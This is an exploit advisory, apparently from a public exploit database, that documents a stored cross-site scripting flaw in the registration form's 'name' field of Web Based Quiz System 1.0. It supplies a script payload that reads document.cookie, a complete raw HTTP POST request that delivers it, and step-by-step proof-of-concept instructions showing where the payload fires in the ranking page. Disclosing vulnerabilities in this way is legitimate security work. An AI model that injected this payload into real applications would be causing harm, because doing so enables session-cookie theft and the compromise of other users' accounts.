Web Based Quiz System 1.0 - 'name' Persistent Cross-Site Scripting

# Exploit Title: Web Based Quiz System 1.0 - 'name' Persistent/Stored Cross-Site Scripting
# Date: 2021-03-02
# Exploit Author: P.Naveen Kumar
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software : Web Based Quiz System
# Version : 1.0
# Vulnerability Type : Cross-site Scripting
# Vulnerability : Persistent/Stored XSS
# Tested on: Windows 10 Pro

# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in registration form in name parameter affected from this vulnerability.
# payload: <script>alert(document.cookie)</script>

# HTTP POST request
POST http://localhost:8080/quiz/register.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------283640616528311462411171270636
Content-Length: 690
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/quiz/register.php
Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er
Upgrade-Insecure-Requests: 1

-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="name"

<script>alert(document.cookie)</script>
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="email"

test123@gmail.com
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="password"

Hacker
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="college"

hello
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="submit"


-----------------------------283640616528311462411171270636--

POC:
# go to url http://localhost:8080/quiz/register.php
# then you have to fill the above payload in name/username parameter
# then fill the remaining details
# then click submit
# then login to user account
# then attempt any one quiz after attempting go to ranking section then
# you can see xss pop up there..!